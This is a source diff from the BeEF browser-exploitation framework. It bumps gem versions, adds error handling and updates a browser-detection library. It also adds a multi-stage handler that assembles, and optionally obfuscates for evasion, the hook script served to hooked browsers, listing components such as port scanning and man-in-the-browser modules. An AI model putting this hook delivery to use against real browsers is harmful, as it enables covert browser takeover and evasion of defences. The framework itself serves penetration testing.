pry-byebug (3.9.0)
byebug (~> 11.0)
pry (~> 0.13.0)
psych (4.0.3)
psych (4.0.4)
stringio
public_suffix (4.0.6)
public_suffix (4.0.7)
qr4r (0.6.1)
mojo_magick (~> 0.6.5)
rqrcode_core (~> 0.1)
racc (1.6.0)
rack (2.2.3)
rack-protection (2.1.0)
rack (2.2.4)
rack-protection (2.2.2)
rack
rack-test (1.1.0)
rack (>= 1.0, < 3)
rack-test (2.0.2)
rack (>= 1.3)
rainbow (3.1.1)
rake (13.0.6)
rdoc (6.4.0)
psych (>= 4.0.0)
regexp_parser (2.2.1)
reline (0.3.0)
regexp_parser (2.5.0)
reline (0.3.1)
io-console (~> 0.5)
rest-client (2.1.0)
http-accept (>= 1.7.0, < 2.0)
@@ -149,7 +154,7 @@ GEM
netrc (~> 0.8)
rexml (3.2.5)
rqrcode_core (0.2.0)
rr (3.0.7)
rr (3.1.0)
rspec (3.11.0)
rspec-core (~> 3.11.0)
rspec-expectations (~> 3.11.0)
@@ -159,39 +164,42 @@ GEM
rspec-expectations (3.11.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-mocks (3.11.0)
rspec-mocks (3.11.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-support (3.11.0)
rubocop (1.25.1)
rubocop (1.32.0)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.0.0)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml
rubocop-ast (>= 1.15.1, < 2.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.19.1, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.15.2)
parser (>= 3.0.1.1)
rubocop-ast (1.19.1)
parser (>= 3.1.1.0)
ruby-progressbar (1.11.0)
ruby2_keywords (0.0.5)
rubyzip (2.3.2)
rushover (0.3.0)
json
rest-client
selenium-webdriver (3.142.7)
childprocess (>= 0.5, < 4.0)
rubyzip (>= 1.2.2)
selenium-webdriver (4.3.0)
childprocess (>= 0.5, < 5.0)
rexml (~> 3.2, >= 3.2.5)
rubyzip (>= 1.2.2, < 3.0)
websocket (~> 1.0)
simple_oauth (0.3.1)
sinatra (2.1.0)
mustermann (~> 1.0)
sinatra (2.2.2)
mustermann (~> 2.0)
rack (~> 2.2)
rack-protection (= 2.1.0)
rack-protection (= 2.2.2)
tilt (~> 2.0)
slack-notifier (2.4.0)
sqlite3 (1.4.2)
stringio (3.0.1)
sqlite3 (1.4.4)
stringio (3.0.2)
sync (0.5.0)
term-ansicolor (1.7.1)
tins (~> 1.0)
@@ -217,9 +225,10 @@ GEM
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thread_safe (0.3.6)
tilt (2.0.10)
tilt (2.0.11)
timeout (0.3.0)
timers (4.3.3)
tins (1.29.1)
tins (1.31.1)
sync
twitter (7.0.0)
addressable (~> 2.3)
@@ -232,14 +241,14 @@ GEM
multipart-post (~> 2.0)
naught (~> 1.0)
simple_oauth (~> 0.3.0)
tzinfo (2.0.4)
tzinfo (2.0.5)
concurrent-ruby (~> 1.0)
uglifier (4.2.0)
execjs (>= 0.3.0, < 3)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
unicode-display_width (2.1.0)
unf_ext (0.0.8.2)
unicode-display_width (2.2.0)
webrick (1.7.0)
websocket (1.2.9)
websocket-client-simple (0.5.1)
@@ -251,14 +260,15 @@ GEM
nokogiri (~> 1.8)
PLATFORMS
ruby
x86_64-linux
DEPENDENCIES
ansi
async-dns
browserstack-local (~> 1.3)
browserstack-local (~> 1.4)
capybara
curb
domain_name (>= 0.5.20190701)
em-websocket
erubis
espeak-ruby (>= 1.0.4)
@@ -270,31 +280,33 @@ DEPENDENCIES
maxmind-db
mime-types
msfrpc-client
net-smtp
otr-activerecord (>= 1.4.2)
parseconfig
pry-byebug
qr4r
rack (>= 2.2.3)
rack-protection (>= 2.0.0)
rake (>= 12.3.3)
rack (>= 2.2.4)
rack-protection (>= 2.2.0)
rake (>= 13.0)
rdoc
rest-client (>= 2.0.1)
rest-client (>= 2.1.0)
rspec
rubocop (~> 1.25.1)
rubocop (~> 1.32.0)
rubyzip (>= 1.2.2)
rushover
selenium-webdriver
sinatra (>= 2.0.2)
sinatra (>= 2.2.0)
slack-notifier
sqlite3
term-ansicolor
test-unit
test-unit-full
thin
twitter (>= 5.0.0)
uglifier (>= 2.7.2)
twitter (>= 7.0.0)
uglifier (>= 4.2.0)
unf
websocket-client-simple (~> 0.5.1)
xmlrpc
BUNDLED WITH
2.1.4
2.3.14
-4
View File
@@ -1,4 +0,0 @@
push: build
docker push marcpartensky/beef
build:
docker build . -t marcpartensky/beef
+21 -2
View File
@@ -184,8 +184,14 @@ db_file = config.get('beef.database.file')
# @note Resets the database if the -x flag was passed
if BeEF::Core::Console::CommandLine.parse[:resetdb]
print_info 'Resetting the database for BeEF.'
File.delete(db_file) if File.exists?(db_file)
begin
File.delete(db_file) if File.exists?(db_file)
rescue => e
print_error("Could not remove '#{db_file}' database file: #{e.message}")
exit(1)
end
end
# Connect to DB
ActiveRecord::Base.logger = nil
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
@@ -195,6 +201,7 @@ OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
OTR::ActiveRecord.establish_connection!
end
# Migrate (if required)
context = ActiveRecord::Migration.new.migration_context
if context.needs_migration?
@@ -208,7 +215,12 @@ print_info 'BeEF is loading. Wait a few seconds...'
#
# @note Execute migration procedure, checks for new modules
#
BeEF::Core::Migration.instance.update_db!
begin
BeEF::Core::Migration.instance.update_db!
rescue => e
print_error("Could not update '#{db_file}' database file: #{e.message}")
exit(1)
end
#
# @note Create HTTP Server and prepare it to run
@@ -216,6 +228,13 @@ BeEF::Core::Migration.instance.update_db!
http_hook_server = BeEF::Core::Server.instance
http_hook_server.prepare
begin
BeEF::Core::Logger.instance.register('System', 'BeEF server started')
rescue => e
print_error("Database connection failed: #{e.message}")
exit(1)
end
#
# @note Prints information back to the user before running the server
#
+1
View File
@@ -16,6 +16,7 @@ require 'core/main/router/api'
require 'core/main/server'
require 'core/main/handlers/modules/beefjs'
require 'core/main/handlers/modules/legacybeefjs'
require 'core/main/handlers/modules/multistagebeefjs'
require 'core/main/handlers/modules/command'
require 'core/main/handlers/commands'
require 'core/main/handlers/hookedbrowsers'
+1
View File
@@ -19,6 +19,7 @@ require 'core/main/models/optioncache'
require 'core/main/models/browserdetails'
require 'core/main/models/rule'
require 'core/main/models/execution'
require 'core/main/models/legacybrowseruseragents'
# @note Include the constants
require 'core/main/constants/browsers'
+1 -1
View File
@@ -39,7 +39,7 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
*/
debug: function(msg) {
isDebug = '<%= @client_debug %>'
if (typeof console == "object" && typeof console.log == "function" && isDebug.localeCompare("true")) {
if (typeof console == "object" && typeof console.log == "function" && isDebug === 'true') {
var currentdate = new Date();
var pad = function(n){return ("0" + n).slice(-2);}
var datetime = currentdate.getFullYear() + "-"
+3 -3
View File
@@ -16,10 +16,10 @@ var warnedAbout = {};
jQuery.migrateWarnings = [];
// Set to true to prevent console output; migrateWarnings still maintained
// jQuery.migrateMute = false;
jQuery.migrateMute = true;
// Show a message on the console so devs know we're active
if ( window.console && window.console.log ) {
if (window.console && window.console.log && !jQuery.migrateMute) {
window.console.log( "JQMIGRATE: Migrate is installed" +
( jQuery.migrateMute ? "" : " with logging active" ) +
", version " + jQuery.migrateVersion );
@@ -27,7 +27,7 @@ if ( window.console && window.console.log ) {
// Set to false to disable traces that appear with warnings
if ( jQuery.migrateTrace === undefined ) {
jQuery.migrateTrace = true;
jQuery.migrateTrace = false;
}
// Forget any warnings we've already given; public
+57 -15
View File
@@ -1,9 +1,8 @@
/**
/*!
* Platform.js
* Copyright 2014-2018 Benjamin Tan
* Copyright 2014-2020 Benjamin Tan
* Copyright 2011-2013 John-David Dalton
* Available under MIT license
* @namespace platform
*/
;(function() {
'use strict';
@@ -340,7 +339,7 @@
/* Detectable layout engines (order is important). */
var layout = getLayout([
{ 'label': 'EdgeHTML', 'pattern': '(?:Edge|EdgA|EdgiOS)' },
{ 'label': 'EdgeHTML', 'pattern': 'Edge' },
'Trident',
{ 'label': 'WebKit', 'pattern': 'AppleWebKit' },
'iCab',
@@ -370,7 +369,7 @@
'Konqueror',
'Lunascape',
'Maxthon',
{ 'label': 'Microsoft Edge', 'pattern': '(?:Edge|EdgA|EdgiOS)' },
{ 'label': 'Microsoft Edge', 'pattern': '(?:Edge|Edg|EdgA|EdgiOS)' },
'Midori',
'Nook Browser',
'PaleMoon',
@@ -386,13 +385,18 @@
{ 'label': 'SRWare Iron', 'pattern': 'Iron' },
'Sunrise',
'Swiftfox',
'Vivaldi',
'Waterfox',
'WebPositive',
{ 'label': 'Yandex Browser', 'pattern': 'YaBrowser' },
{ 'label': 'UC Browser', 'pattern': 'UCBrowser' },
'Opera Mini',
{ 'label': 'Opera Mini', 'pattern': 'OPiOS' },
'Opera',
{ 'label': 'Opera', 'pattern': 'OPR' },
'Chromium',
'Chrome',
{ 'label': 'Chrome', 'pattern': '(?:HeadlessChrome)' },
{ 'label': 'Chrome Mobile', 'pattern': '(?:CriOS|CrMo)' },
{ 'label': 'Firefox', 'pattern': '(?:Firefox|Minefield)' },
{ 'label': 'Firefox for iOS', 'pattern': 'FxiOS' },
@@ -438,6 +442,7 @@
/* Detectable manufacturers. */
var manufacturer = getManufacturer({
'Apple': { 'iPad': 1, 'iPhone': 1, 'iPod': 1 },
'Alcatel': {},
'Archos': {},
'Amazon': { 'Kindle': 1, 'Kindle Fire': 1 },
'Asus': { 'Transformer': 1 },
@@ -446,22 +451,28 @@
'Google': { 'Google TV': 1, 'Nexus': 1 },
'HP': { 'TouchPad': 1 },
'HTC': {},
'Huawei': {},
'Lenovo': {},
'LG': {},
'Microsoft': { 'Xbox': 1, 'Xbox One': 1 },
'Motorola': { 'Xoom': 1 },
'Nintendo': { 'Wii U': 1, 'Wii': 1 },
'Nokia': { 'Lumia': 1 },
'Oppo': {},
'Samsung': { 'Galaxy S': 1, 'Galaxy S2': 1, 'Galaxy S3': 1, 'Galaxy S4': 1 },
'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 }
'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 },
'Xiaomi': { 'Mi': 1, 'Redmi': 1 }
});
/* Detectable operating systems (order is important). */
var os = getOS([
'Windows Phone',
'KaiOS',
'Android',
'CentOS',
{ 'label': 'Chrome OS', 'pattern': 'CrOS' },
'Debian',
{ 'label': 'DragonFly BSD', 'pattern': 'DragonFly' },
'Fedora',
'FreeBSD',
'Gentoo',
@@ -617,9 +628,26 @@
// Convert layout to an array so we can add extra details.
layout && (layout = [layout]);
// Detect Android products.
// Browsers on Android devices typically provide their product IDS after "Android;"
// up to "Build" or ") AppleWebKit".
// Example:
// "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (5) Plus) AppleWebKit/537.36
// (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36"
if (/\bAndroid\b/.test(os) && !product &&
(data = /\bAndroid[^;]*;(.*?)(?:Build|\) AppleWebKit)\b/i.exec(ua))) {
product = trim(data[1])
// Replace any language codes (eg. "en-US").
.replace(/^[a-z]{2}-[a-z]{2};\s*/i, '')
|| null;
}
// Detect product names that contain their manufacturer's name.
if (manufacturer && !product) {
product = getProduct([manufacturer]);
} else if (manufacturer && product) {
product = product
.replace(RegExp('^(' + qualify(manufacturer) + ')[-_.\\s]', 'i'), manufacturer + ' ')
.replace(RegExp('^(' + qualify(manufacturer) + ')[-_.]?(\\w)', 'i'), manufacturer + ' $2');
}
// Clean up Google TV.
if ((data = /\bGoogle TV\b/.exec(product))) {
@@ -647,7 +675,7 @@
: '');
}
// Detect Kubuntu.
else if (name == 'Konqueror' && !/buntu/i.test(os)) {
else if (name == 'Konqueror' && /^Linux\b/i.test(os)) {
os = 'Kubuntu';
}
// Detect Android browsers.
@@ -667,6 +695,10 @@
description.unshift('accelerated');
}
}
// Detect UC Browser speed mode.
else if (name == 'UC Browser' && /\bUCWEB\b/.test(ua)) {
description.push('speed mode');
}
// Detect PaleMoon identifying as Firefox.
else if (name == 'PaleMoon' && (data = /\bFirefox\/([\d.]+)\b/.exec(ua))) {
description.push('identifying as Firefox ' + data[1]);
@@ -696,7 +728,7 @@
// Detect non-Opera (Presto-based) versions (order is important).
if (!version) {
version = getVersion([
'(?:Cloud9|CriOS|CrMo|Edge|EdgA|EdgiOS|FxiOS|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$))',
'(?:Cloud9|CriOS|CrMo|Edge|Edg|EdgA|EdgiOS|FxiOS|HeadlessChrome|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\d.]+$)|UCBrowser|YaBrowser)',
'Version',
qualify(name),
'(?:Firefox|Minefield|NetFront)'
@@ -824,7 +856,7 @@
(prerelease == 'beta' ? beta : alpha) + (/\d+\+?/.exec(data) || '');
}
// Detect Firefox Mobile.
if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS)\b/.test(os)) {
if (name == 'Fennec' || name == 'Firefox' && /\b(?:Android|Firefox OS|KaiOS)\b/.test(os)) {
name = 'Firefox Mobile';
}
// Obscure Maxthon's unreliable version.
@@ -920,7 +952,7 @@
version = null;
}
// Use the full Chrome version when available.
data[1] = (/\bChrome\/([\d.]+)/i.exec(ua) || 0)[1];
data[1] = (/\b(?:Headless)?Chrome\/([\d.]+)/i.exec(ua) || 0)[1];
// Detect Blink layout engine.
if (data[0] == 537.36 && data[2] == 537.36 && parseFloat(data[1]) >= 28 && layout == 'WebKit') {
layout = ['Blink'];
@@ -929,7 +961,7 @@
// http://stackoverflow.com/questions/6768474/how-can-i-detect-which-javascript-engine-v8-or-jsc-is-used-at-runtime-in-androi
if (!useFeatures || (!likeChrome && !data[1])) {
layout && (layout[1] = 'like Safari');
data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : '8');
data = (data = data[0], data < 400 ? 1 : data < 500 ? 2 : data < 526 ? 3 : data < 533 ? 4 : data < 534 ? '4+' : data < 535 ? 5 : data < 537 ? 6 : data < 538 ? 7 : data < 601 ? 8 : data < 602 ? 9 : data < 604 ? 10 : data < 606 ? 11 : data < 608 ? 12 : '12');
} else {
layout && (layout[1] = 'like Chrome');
data = data[1] || (data = data[0], data < 530 ? 1 : data < 532 ? 2 : data < 532.05 ? 3 : data < 533 ? 4 : data < 534.03 ? 5 : data < 534.07 ? 6 : data < 534.10 ? 7 : data < 534.13 ? 8 : data < 534.16 ? 9 : data < 534.24 ? 10 : data < 534.30 ? 11 : data < 535.01 ? 12 : data < 535.02 ? '13+' : data < 535.07 ? 15 : data < 535.11 ? 16 : data < 535.19 ? 17 : data < 536.05 ? 18 : data < 536.10 ? 19 : data < 537.01 ? 20 : data < 537.11 ? '21+' : data < 537.13 ? 23 : data < 537.18 ? 24 : data < 537.24 ? 25 : data < 537.36 ? 26 : layout != 'Blink' ? '27' : '28');
@@ -939,6 +971,8 @@
// Obscure version for some Safari 1-2 releases.
if (name == 'Safari' && (!version || parseInt(version) > 45)) {
version = data;
} else if (name == 'Chrome' && /\bHeadlessChrome/i.test(ua)) {
description.unshift('headless');
}
}
// Detect Opera desktop modes.
@@ -966,16 +1000,24 @@
os = null;
}
}
// Newer versions of SRWare Iron uses the Chrome tag to indicate its version number.
else if (/\bSRWare Iron\b/.test(name) && !version) {
version = getVersion('Chrome');
}
// Strip incorrect OS versions.
if (version && version.indexOf((data = /[\d.]+$/.exec(os))) == 0 &&
ua.indexOf('/' + data + '-') > -1) {
os = trim(os.replace(data, ''));
}
// Ensure OS does not include the browser name.
if (os && os.indexOf(name) != -1 && !RegExp(name + ' OS').test(os)) {
os = os.replace(RegExp(' *' + qualify(name) + ' *'), '');
}
// Add layout engine.
if (layout && !/\b(?:Avant|Nook)\b/.test(name) && (
/Browser|Lunascape|Maxthon/.test(name) ||
name != 'Safari' && /^iOS/.test(os) && /\bSafari\b/.test(layout[1]) ||
/^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|Web)/.test(name) && layout[1])) {
/^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|SRWare Iron|Vivaldi|Web)/.test(name) && layout[1])) {
// Don't add layout details to description if they are falsey.
(data = layout[layout.length - 1]) && description.push(data);
}
@@ -1033,7 +1075,7 @@
/**
* The platform object.
*
* @memberof platform
* @name platform
* @type Object
*/
var platform = {};
@@ -1144,8 +1186,8 @@
*
* Common values include:
* "Windows", "Windows Server 2008 R2 / 7", "Windows Server 2008 / Vista",
* "Windows XP", "OS X", "Ubuntu", "Debian", "Fedora", "Red Hat", "SuSE",
* "Android", "iOS" and "Windows Phone"
* "Windows XP", "OS X", "Linux", "Ubuntu", "Debian", "Fedora", "Red Hat",
* "SuSE", "Android", "iOS" and "Windows Phone"
*
* @memberOf platform.os
* @type string|null
+4 -8
View File
@@ -31,7 +31,8 @@ module BeEF
@@config = config
rescue StandardError => e
print_error "Fatal Error: cannot load configuration file '#{config}' : #{e.message}"
print_error e.backtrace
print_more e.backtrace
exit(1)
end
@@instance = self
@@ -41,13 +42,8 @@ module BeEF
# @param [String] file YAML file to be loaded
# @return [Hash] YAML formatted hash
def load(file)
return nil unless File.exist? file
raw = File.read file
YAML.safe_load raw
rescue StandardError => e
print_debug "Unable to load configuration file '#{file}' : #{e.message}"
print_error e.backtrace
return nil unless File.exist?(file)
YAML.safe_load(File.binread(file))
end
#
+25 -1
View File
@@ -9,6 +9,7 @@ module BeEF
# @note This class handles connections from hooked browsers to the framework.
class HookedBrowsers < BeEF::Core::Router::Router
include BeEF::Core::Handlers::Modules::BeEFJS
include BeEF::Core::Handlers::Modules::MultiStageBeEFJS
include BeEF::Core::Handlers::Modules::LegacyBeEFJS
include BeEF::Core::Handlers::Modules::Command
@@ -17,6 +18,16 @@ module BeEF
disable :protection
end
# Generate the hook js provided to the hookwed browser (the magic happens here)
def confirm_browser_user_agent(user_agent)
browser_type = user_agent.split(' ').last # selecting just name/version of browser
# does the browser already exist in the legacy database / object? Return true if yes
BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string|
return true if ua_string.include? browser_type
end
false
end
# Process HTTP requests sent by a hooked browser to the framework.
# It will update the database to add or update the current hooked browser
# and deploy some command modules or extensions to the hooked browser.
@@ -111,18 +122,31 @@ module BeEF
host_name = request.host
unless BeEF::Filters.is_valid_hostname?(host_name)
(print_error 'Invalid host name'
return)
return)
end
# Generate the hook js provided to the hookwed browser (the magic happens here)
if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')
print_debug 'Using WebSocket'
build_beefjs!(host_name)
elsif confirm_browser_user_agent(request.user_agent)
print_debug 'Using multi_stage_beefjs'
multi_stage_beefjs!(host_name)
else
print_debug 'Using legacy_build_beefjs'
legacy_build_beefjs!(host_name)
end
# @note is a known browser so send instructions
end
# check for string within array of strings
def check_for_string(string, array)
array.each do |item|
return true if item.include? string
end
false
end
# @note set response headers and body
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -0,0 +1,175 @@
#
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Handlers
module Modules
# @note Purpose: avoid rewriting several times the same code.
module MultiStageBeEFJS
# Builds the default beefjs library (all default components of the library).
# @param [Object] req_host The request object
def multi_stage_beefjs!(req_host)
config = BeEF::Core::Configuration.instance
# @note set up values required to construct beefjs
beef_js = ''
# @note location of sub files
beef_js_path = "#{$root_dir}/core/main/client/"
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
ext_js_sub_files = %w[lib/jquery-1.12.4.min.js lib/jquery-migrate-1.4.1.js lib/evercookie.js lib/json2.js lib/mdetect.js lib/platform.js lib/jquery.blockUI.js]
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w[beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js
encode/json.js net/local.js init.js mitb.js geolocation.js net/dns.js net/connection.js net/cors.js net/requester.js net/xssrays.js net/portscanner.js are.js]
# @note Load websocket library only if WS server is enabled in config.yaml
beef_js_sub_files << 'websocket.js' if config.get('beef.http.websocket.enable') == true
# @note Load webrtc library only if WebRTC extension is enabled
if config.get('beef.extension.webrtc.enable') == true
beef_js_sub_files << 'lib/webrtcadapter.js'
beef_js_sub_files << 'webrtc.js'
end
# @note antisnatchor: leave timeout.js as the last one!
beef_js_sub_files << 'timeout.js'
ext_js_to_obfuscate = ''
ext_js_to_not_obfuscate = ''
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
ext_js_sub_files.each do |ext_js_sub_file|
if config.get('beef.extension.evasion.enable')
if config.get('beef.extension.evasion.exclude_core_js').include?(ext_js_sub_file)
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
# do not obfuscate the file
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
else
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
end
else
# Evasion is not enabled, do not obfuscate anything
ext_js_sub_file_path = beef_js_path + ext_js_sub_file
ext_js_to_not_obfuscate << (File.read(ext_js_sub_file_path) + "\n\n")
end
end
# @note construct the beef_js string from file(s)
beef_js_sub_files.each do |beef_js_sub_file|
beef_js_sub_file_path = beef_js_path + beef_js_sub_file
beef_js << (File.read(beef_js_sub_file_path) + "\n\n")
end
# @note create the config for the hooked browser session
hook_session_config = BeEF::Core::Server.instance.to_h
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
if !hook_session_config['beef_public'].nil? && (hook_session_config['beef_host'] != hook_session_config['beef_public'])
hook_session_config['beef_host'] = hook_session_config['beef_public']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_host']}/, hook_session_config['beef_public'])
end
if hook_session_config['beef_host'].eql? '0.0.0.0'
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# @note set the XHR-polling timeout
hook_session_config['xhr_poll_timeout'] = config.get('beef.http.xhr_poll_timeout')
# @note set the hook file path and BeEF's cookie name
hook_session_config['hook_file'] = config.get('beef.http.hook_file')
hook_session_config['hook_session_name'] = config.get('beef.http.hook_session_name')
# @note if http_port <> public_port in config ini, use the public_port
if !hook_session_config['beef_public_port'].nil? && (hook_session_config['beef_port'] != hook_session_config['beef_public_port'])
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
hook_session_config['beef_url'].sub!(/http:/, 'https:') if hook_session_config['beef_public_port'] == '443'
end
# @note Set some WebSocket properties
if config.get('beef.http.websocket.enable')
hook_session_config['websocket_secure'] = config.get('beef.http.websocket.secure')
hook_session_config['websocket_port'] = config.get('beef.http.websocket.port')
hook_session_config['ws_poll_timeout'] = config.get('beef.http.websocket.ws_poll_timeout')
hook_session_config['ws_connect_timeout'] = config.get('beef.http.websocket.ws_connect_timeout')
hook_session_config['websocket_sec_port'] = config.get('beef.http.websocket.secure_port')
end
# @note Set if PhishingFrenzy integration is enabled
hook_session_config['phishing_frenzy_enable'] = config.get('beef.integration.phishing_frenzy.enable') if config.get('beef.integration.phishing_frenzy.enable')
# @note populate place holders in the beef_js string and set the response body
eruby = Erubis::FastEruby.new(beef_js)
@hook = eruby.evaluate(hook_session_config)
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
@final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook)
else
@final_hook = ext_js_to_not_obfuscate + @hook
end
# @note Return the final hook to be sent to the browser
@body << @final_hook
end
# Finds the path to js components
# @param [String] component Name of component
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
def legacy_find_beefjs_component_path(component)
component_path = component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
return false unless File.exist? component_path
component_path
end
# Builds missing beefjs components.
# @param [Array] beefjs_components An array of component names
def legacy_build_missing_beefjs_components(beefjs_components)
# @note verifies that @beef_js_cmps is not nil to avoid bugs
@beef_js_cmps = '' if @beef_js_cmps.nil?
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise 'Invalid component: could not build the beefjs file' unless beefjs_components_path
beefjs_components = { beefjs_components => beefjs_components_path }
end
beefjs_components.keys.each do |k|
next if @beef_js_cmps.include? beefjs_components[k]
# @note path to the component
component_path = beefjs_components[k]
# @note we output the component to the hooked browser
config = BeEF::Core::Configuration.instance
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(File.read(component_path) + "\n\n")
else
@body << (File.read(component_path) + "\n\n")
end
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
if @beef_js_cmps.eql? ''
@beef_js_cmps = component_path
else
@beef_js_cmps += ",#{component_path}"
end
end
end
end
end
end
end
end
@@ -0,0 +1,26 @@
#
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
#
# Objects stores known 'legacy' browser User Agents.
#
# This table is used to determine if a hooked browser is a 'legacy'
# browser and therefore which version of the hook file to generate and use
#
# TODO: make it an actual table
#
module LegacyBrowserUserAgents
def self.user_agents
[
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0'
]
end
end
end
end
end
+1 -1
View File
@@ -67,7 +67,7 @@ if(typeof beef === 'undefined' &amp;&amp; typeof window.beef === 'undefined') {
*/
debug: function(msg) {
isDebug = '&lt;%= @client_debug %>'
if (typeof console == "object" &amp;&amp; typeof console.log == "function" &amp;&amp; isDebug.localeCompare("true")) {
if (typeof console == "object" &amp;&amp; typeof console.log == "function" &amp;&amp; isDebug === '-1') {
var currentdate = new Date();
var pad = function(n){return ("0" + n).slice(-2);}
var datetime = currentdate.getFullYear() + "-"
+59 -37
View File
@@ -15,38 +15,46 @@ module BeEF
BeEF::API::Registrar.instance.register(BeEF::Extension::AdminUI::API::Handler, BeEF::API::Server, 'mount_handler')
def self.evaluate_and_minify(content, params, name)
erubis = Erubis::FastEruby.new(content)
evaluated = erubis.evaluate(params)
print_debug "[AdminUI] Minifying #{name} (#{evaluated.size} bytes)"
def self.evaluate_and_minify(content, params)
begin
opts = {
output: {
comments: :none
},
compress: {
dead_code: true
},
harmony: true
}
minified = Uglifier.compile(evaluated, opts)
print_debug "[AdminUI] Minified #{name} (#{minified.size} bytes)"
rescue StandardError
print_error "[AdminUI] Error: Could not minify JavaScript file: #{name}"
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !"
minified = evaluated
erubis = Erubis::FastEruby.new(content)
evaluated = erubis.evaluate(params)
rescue => e
print_error("[Admin UI] Evaluating with Eruby failed: #{e.message}")
return
end
write_to = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{name}.js", 'w+')
File.write(write_to, minified)
File.path write_to
rescue StandardError => e
print_error "[AdminUI] Error: #{e.message}"
print_error e.backtrace
print_debug "[AdminUI] Minifying JavaScript (#{evaluated.size} bytes)"
opts = {
output: {
comments: :none
},
compress: {
dead_code: true
},
harmony: true
}
begin
minified = Uglifier.compile(evaluated, opts)
rescue StandardError => e
print_warning "[AdminUI] Error: Could not minify '#{name}' JavaScript file: #{e.message}"
print_more "[AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !"
return evaluated
end
print_debug "[AdminUI] Minified #{evaluated.size} bytes to #{minified.size} bytes"
return minified
end
def self.build_javascript_ui(beef_server)
def self.write_minified_js(name, content)
temp_file = File.new("#{File.dirname(__FILE__)}/../media/javascript-min/#{File.basename(name)}", 'w+')
File.write(temp_file, content)
end
def self.build_javascript_ui
# NOTE: order counts! make sure you know what you're doing if you add files
esapi = %w[
esapi/Class.create.js
@@ -90,9 +98,9 @@ module BeEF
global_js = esapi + ux + panel
js_files = ''
global_js.each do |file|
js_files << ("#{File.read("#{File.dirname(__FILE__)}/../media/javascript/#{file}")}\n\n")
admin_ui_js = ''
global_js.each do |file_name|
admin_ui_js << ("#{File.binread("#{File.dirname(__FILE__)}/../media/javascript/#{file_name}")}\n\n")
end
config = BeEF::Core::Configuration.instance
@@ -106,12 +114,21 @@ module BeEF
# process all JavaScript files, evaluating them with Erubis
print_debug '[AdminUI] Initializing admin panel ...'
web_ui_all = evaluate_and_minify(js_files, params, 'web_ui_all')
auth_js_file = "#{File.read("#{File.dirname(__FILE__)}/../media/javascript/ui/authentication.js")}\n\n"
